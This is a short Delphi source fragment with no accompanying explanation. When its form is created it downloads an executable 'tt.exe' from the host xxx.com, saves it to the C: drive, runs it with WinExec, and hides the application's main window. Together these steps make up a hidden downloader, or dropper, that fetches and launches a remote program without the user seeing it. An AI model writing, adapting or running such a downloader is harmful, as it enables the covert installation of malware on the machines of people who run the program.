procedure TForm1.FormCreate(Sender: TObject);
var
q :tmemorystream;
begin
q:=TMemoryStream.Create;
idHTTP1.Get('http://xxx.com/tt.exe',q);   
q.SaveToFile('C:\\tt.exe');   
WinExec(PChar('C:\\tt.exe'), SW_SHOW);
Application.ShowMainForm := False;   
end;
end.